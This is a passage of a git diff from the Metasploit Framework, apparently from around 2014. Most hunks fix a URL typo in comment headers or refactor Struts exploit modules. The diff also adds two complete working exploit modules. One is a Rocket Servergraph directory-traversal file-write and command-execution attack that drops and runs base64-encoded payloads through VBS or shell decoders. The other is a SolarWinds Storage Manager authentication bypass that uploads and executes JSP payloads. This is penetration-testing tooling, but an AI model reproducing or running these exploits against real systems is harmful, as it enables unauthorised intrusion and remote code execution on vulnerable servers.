a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index a1d175ce92..e00a483e23 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index c9f5931858..1e03ea297d 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index cf28fb5370..a8da7d1553 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 7803dd5414..406277cee2 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 2b744581de..29e4072bd1 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb new file mode 100644 index 0000000000..31e262489c --- /dev/null +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -0,0 +1,348 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution', + 'Description' => %q{ + This module abuses several directory traversal flaws in Rocket Servergraph Admin + Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet, + allowing a remote attacker to write arbitrary files and execute commands with + administrative privileges. This module has been tested successfully on Rocket + ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu + 12.04 64 bits. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3914'], + ['ZDI', '14-161'], + ['ZDI', '14-162'], + ['BID', '67779'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux unix win }, + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD], + 'Payload' => + { + 'Space' => 8192, # it's writing a file, so just a long enough value + 'DisableNops' => true + #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply + }, + 'Targets' => + [ + [ 'Linux (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (CMD Payload)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ], + [ 'Windows / VB Script', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows CMD', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + Opt::RPORT(8888) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), + OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), + OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) + ], self.class) + + end + + def check + os = get_os + + if os.nil? + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Appears + end + + def exploit + os = get_os + + if os == 'win' && target.name =~ /Linux/ + fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected") + elsif os == 'linux' && target.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") + elsif os.nil? + print_warning("#{peer} - Failed to detect remote operating system, trying anyway...") + end + + if target.name =~ /Windows.*VB/ + exploit_windows_vbs + elsif target.name =~ /Windows.*CMD/ + exploit_windows_cmd + elsif target.name =~ /Linux.*CMD/ + exploit_linux_cmd + elsif target.name =~ /Linux.*Native/ + exploit_linux_native + end + end + + def exploit_windows_vbs + traversal = "\\.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('win') + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + vbs = generate_decoder_vbs({ + :temp_dir => "C:#{temp}", + :encoded_file_name => encoded_file_name, + :exe_file_name => exe_file_name + }) + print_status("#{peer} - Dropping the VBS decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) + + register_files_for_cleanup("C:#{temp}#{decoder_file_name}") + register_files_for_cleanup("C:#{temp}#{encoded_file_name}") + register_files_for_cleanup("C:#{temp}#{exe_file_name}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") + end + + + def exploit_windows_cmd + traversal = "\\.." * traversal_depth + execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") + end + + def exploit_linux_native + traversal = "/.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('linux') + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" + elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + decoder = <<-SH +#!/bin/sh + +base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name} +chmod 777 #{temp}#{elf_file_name} +#{temp}#{elf_file_name} +SH + + print_status("#{peer} - Dropping the decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) + + register_files_for_cleanup("#{temp}#{decoder_file_name}") + register_files_for_cleanup("#{temp}#{encoded_file_name}") + register_files_for_cleanup("#{temp}#{elf_file_name}") + + print_status("#{peer} - Giving execution permissions to the decoder...") + execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") + + print_status("#{peer} - Executing decoder and payload...") + execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") + end + + def exploit_linux_cmd + temp = temp_dir('linux') + elf = rand_text_alpha(4 + rand(4)) + + traversal = "/.." * traversal_depth + print_status("#{peer} - Dropping payload...") + write_file("#{traversal}#{temp}#{elf}", payload.encoded) + register_files_for_cleanup("#{temp}#{elf}") + print_status("#{peer} - Providing execution permissions...") + execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}#{temp}#{elf}") + end + + def generate_decoder_vbs(opts = {}) + decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + + f = File.new(decoder_path, "rb") + decoder = f.read(f.stat.size) + f.close + + decoder.gsub!(/>>decode_stub/, "") + decoder.gsub!(/^echo /, "") + decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") + decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") + + decoder + end + + def get_os + os = nil + path = "" + hint = rand_text_alpha(3 + rand(4)) + + res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") + + if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ + path = $1 + elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ + path = $1 + end + + if path =~ /^\// + os = 'linux' + elsif path =~ /^[a-zA-Z]:\\/ + os = 'win' + end + + os + end + + def temp_dir(os) + temp = "" + case os + when 'linux' + temp = linux_temp_dir + when 'win' + temp = win_temp_dir + end + + temp + end + + def linux_temp_dir + dir = "/tmp/" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + unless dir.start_with?("/") + dir = "/#{dir}" + end + + unless dir.end_with?("/") + dir = "#{dir}/" + end + + dir + end + + def win_temp_dir + dir = "\\#{win_dir}\\Temp\\" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + dir.gsub!(/\//, "\\") + dir.gsub!(/^([A-Za-z]:)?/, "") + + unless dir.start_with?("\\") + dir = "\\#{dir}" + end + + unless dir.end_with?("\\") + dir = "#{dir}\\" + end + + dir + end + + def win_dir + dir = "WINDOWS" + if datastore['WINDIR'] + dir = datastore['WINDIR'] + dir.gsub!(/\//, "\\") + dir.gsub!(/[\\]*$/, "") + dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") + end + + dir + end + + def traversal_depth + depth = 20 + + if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1 + depth = datastore['TRAVERSAL_DEPTH'] + end + + depth + end + + def write_file(file_name, contents) + res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) + + unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / + fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") + end + + res + end + + def execute(command) + res = send_request(1, "run", command) + + res + end + + def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) + data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" + data << "&title=#{rand_text_alpha(rand(4) + 4)}" + data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" + data << "&id=#{rand_text_alpha(rand(4) + 4)}" + data << "&cmd=#{command}" + data << "&source=#{source}" + data << "&query=#{query}" + + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'), + 'method' => 'POST', + 'data' => data + }, timeout) + + res + end + +end diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index d8f6f00de9..cecbbc0ad0 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 92d4380c43..f854d6483b 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index 2b70e04d27..68fbdb2704 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb new file mode 100644 index 0000000000..044b7584f6 --- /dev/null +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SolarWinds Storage Manager Authentication Bypass', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager. + The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication + with specially crafted URLs. After bypassing authentication, is possible to use a file + upload function to achieve remote code execution. This module has been tested successfully + in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and + Linux 64 bits operating systems. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['ZDI', '14-299'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Solarwinds Store Manager <= 5.7.1', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 19 2014')) + + register_options( + [ + Opt::RPORT(9000) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}" + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...") + if upload(jsp_info, jsp_path) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed") + end + + res = execute(jsp_info) + + if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/ + upload_path = $1 + print_good("#{peer} - Working directory found in #{upload_path}") + register_file_for_cleanup(::File.join(upload_path, jsp_info)) + else + print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") + print_warning("#{peer} - #{jsp_info} needs to be deleted manually") + end + + jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading JSP payload #{jsp_payload}...") + if upload(jsp_payload, payload.encoded) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + if upload_path + register_file_for_cleanup(::File.join(upload_path, jsp_payload)) + else + print_warning("#{peer} - #{jsp_payload} needs to be deleted manually") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload, 1) + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", jsp_name), + 'method' => 'GET' + }, time_out) + + res + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(contents, + "application/octet-stream", + nil, + "form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return true + end + + false + end + + def jsp_path + jsp =<<-EOS +<%@ page language="Java" import="java.util.*"%> +<% +out.println("Path:" + System.getProperty("server.webapp.root")); +%> + EOS + + jsp + end + +end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 63f0cf3715..e35f6bf4b7 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index cae9a80878..21b6740fd5 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 35e5f85241..59d76cb524 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index dc5a7eeb1f..9c17ad00f3 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 53e698877c..49b6c061b4 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 397b996b79..212c67141e 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -42,7 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -88,10 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 344061f9e5..6558e38729 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -150,6 +150,8 @@ class Metasploit3 < Msf::Exploit::Remote output << l elsif l =~ /<%/ next + elsif l=~ /%>/ + next elsif l.chomp.empty? next else @@ -163,10 +165,18 @@ class Metasploit3 < Msf::Exploit::Remote if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else - payload_exe = generate_payload_exe + if target['Platform'] == 'win' + payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform}) + else + payload_exe = generate_payload_exe + end payload_file = rand_text_alphanumeric(4 + rand(4)) jsp = jsp_dropper(payload_file, payload_exe) - register_files_for_cleanup(payload_file) + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{payload_file}") + else + register_files_for_cleanup(payload_file) + end end jsp @@ -193,12 +203,16 @@ class Metasploit3 < Msf::Exploit::Remote # Check if the log file exists and has been flushed - if check_log_file(normalize_uri(target_uri.to_s)) - register_files_for_cleanup(@jsp_file) - else + unless check_log_file(normalize_uri(target_uri.to_s)) fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end + if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 + register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}") + else + register_files_for_cleanup(@jsp_file) + end + # Prepare the JSP print_status("#{peer} - Generating JSP...") jsp = create_jsp @@ -213,7 +227,9 @@ class Metasploit3 < Msf::Exploit::Remote end # Check log file... enjoy shell! - check_log_file(random_request) + unless target['Arch'] == ARCH_JAVA + check_log_file(random_request) + end # No matter what happened, try to 'restore' the Class Loader properties = { @@ -223,6 +239,11 @@ class Metasploit3 < Msf::Exploit::Remote :file_date_format => '' } modify_class_loader(properties) + + if target['Arch'] == ARCH_JAVA + send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) }) + end + end end diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 220700c01f..ee2e954933 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index ce98a33357..b6d7680f76 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'windows' + 'Platform' => 'win' } ], ['Linux Universal', @@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote #Set up generic values. payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe + if pl_exe.nil? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate an EXE payload, please select a correct payload") + end append = false #Now arch specific... case target['Platform'] @@ -140,7 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' path = temp_path || './' payload_exe = "#{path}#{payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')" diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index c10c682eb4..fe32b087c7 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index cab5218aa2..39999bd92a 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index a2999d8026..555d03f990 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index c462041989..6612a08732 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index 5ffe5b5e8f..33e003d6bd 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 3931017cb7..0b33577286 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index d9ad21808f..ea07c3e3f2 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 12c2423529..75c6beda9c 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -118,15 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote return CheckCode::Unknown end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - 